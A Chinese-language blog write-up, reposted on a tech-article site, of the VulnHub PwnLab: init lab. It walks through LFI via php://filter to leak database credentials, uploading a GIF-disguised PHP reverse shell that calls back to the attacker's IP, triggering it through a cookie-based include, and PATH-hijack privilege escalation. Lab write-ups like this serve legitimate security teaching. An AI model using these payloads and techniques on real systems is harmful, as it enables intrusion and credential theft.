IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 18-VulnHub-pwnlab_init -> 正文阅读

[PHP知识库]18-VulnHub-pwnlab_init

18-VulnHub-PwnLab: init

靶机地址:https://www.vulnhub.com/entry/pwnlab-init,158/

目标:得到root权限&找到flag.txt

作者:尼德霍格007

时间:2021-8-12

注意:此次渗透在VMware虚拟机中演示,kali机IP地址为192.168.21.128。这里使用的技术仅用于学习教育目的,如果列出的技术用于其他任何目标,概不负责。

一、信息收集

nmap扫描靶机地址

image-20210812232100268

看到靶机地址是192.168.21.6

扫描靶机开放端口

image-20210812232203581

看到靶机开放了80、111、3306和53200端口

用nikto扫描web中隐藏或配置错误的目录或文件

nikto -h 192.168.21.6

image-20210812232610945

显示config.php可能包含数据库账户和密码,还有登录页面和/images目录等

访问一下web服务

image-20210812232837128

image-20210812232903153

可以看出存在LFI漏洞利用

直接按照意思输出访问即可找到base64值

http://192.168.21.6/?page=php://filter/convert.base64-encode/resource=config

image-20210812233415673

base64解码一下

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+

解出来是

<?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

得到了数据库的账户和密码,登录

mysql -uroot -pH4u%QJ_H99 -h 192.168.21.6

image-20210812233705983

找到几个账户

image-20210812233848352

密码是base64编码,把密码解码一下,如下

userpass
kentJWzXuBJJNy
mikeSIfdsTEn6I
kaneiSv5Ym2GRo

在web端登陆一下

image-20210812234221336

登陆成功就可以上传文件了

image-20210812234253368

二、获取shell

找个php木马,这是一个反弹shell的木马

GIF89a
<?php
$sock=fsockopen('192.168.21.128',8080);
$descriptorspec=array(
0-->$sock,
1-->$sock,
2-->$sock
);
$process=proc_open('/bin/bash',$descriptorspec,$pipes);
proc_close($process);
echo phpinfo();
?>

保存为GIF文件并上传

image-20210812234541969

在页面源码中即可看到上传的文件在服务器中的文件名

image-20210812234655673

上传成功,下一步需要触发这个木马。

dirb扫描一下网站目录

image-20210812234905648

发现index有个php文件,有了前面的config.php的经验,我们再来一次

http://192.168.21.6/?page=php://filter/convert.base64-encode/resource=index

image-20210812235132514

解码

PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=

得到

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>

<head>
<title>PwnLab Intranet Image Hosting</title>
</head>

<body>

<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>

</body>
</html>

第6行显示include(“lang/”.$_COOKIE[‘lang’]);意思是使用lang可以打开会话

因为我们使用的反弹式shell,要先开启监听

image-20210812235906444

使用curl工具

curl -v --cookie "lang=../upload/b1a99ebaad4dd28f57517de36e770484.gif" http://192.168.21.6/index.php

因为lang是在index.php中得到的,所以要用它来访问上传的gif

这边即可获取到shell

image-20210812235933407

但是是低权限

先用python获取一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

image-20210813000214407

三、提权

刚才我们的到了3个账户,换个账户

image-20210813000914974

进入kane目录

image-20210813000949945

发现了一个msgmike,是一个文件,执行一下

image-20210813001201078

提示找不到文件/home/mike/msg.txt

在tmp目录下创建一个cat文件,内容是/bin/bash

修改环境变量后让msgmike执行bash -i获得mike的权限

image-20210813001419664

image-20210813001524959

返回kane目录执行msgmike

image-20210813001645103

看到mike用户在mike和kane组中

image-20210813002814455

进入mike用户

image-20210813003122368

有个文件,执行一下

image-20210813003250161

提权成功,查看flag
image-20210813003530858

四、总结

针对PHP伪协议的学习和文件上传漏洞、文件解析漏洞、文件包含漏洞、反弹shell重新回顾了下。整体难度中等。

整体思路如下

靶机 --> 主机端口探测 --> web渗透 --> 文件包含 --> 得到数据库账号密码 --> 在数据库中查到登录账号密码 --> 查看源码 --> 文件上传木马 --> 通过Cookie文件包含 --> 反弹shell --> 切换账户 --> 利用环境变量提权 --> 找到flag

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2021-08-14 13:46:45  更:2021-08-14 13:49:59 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/13 18:22:34-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码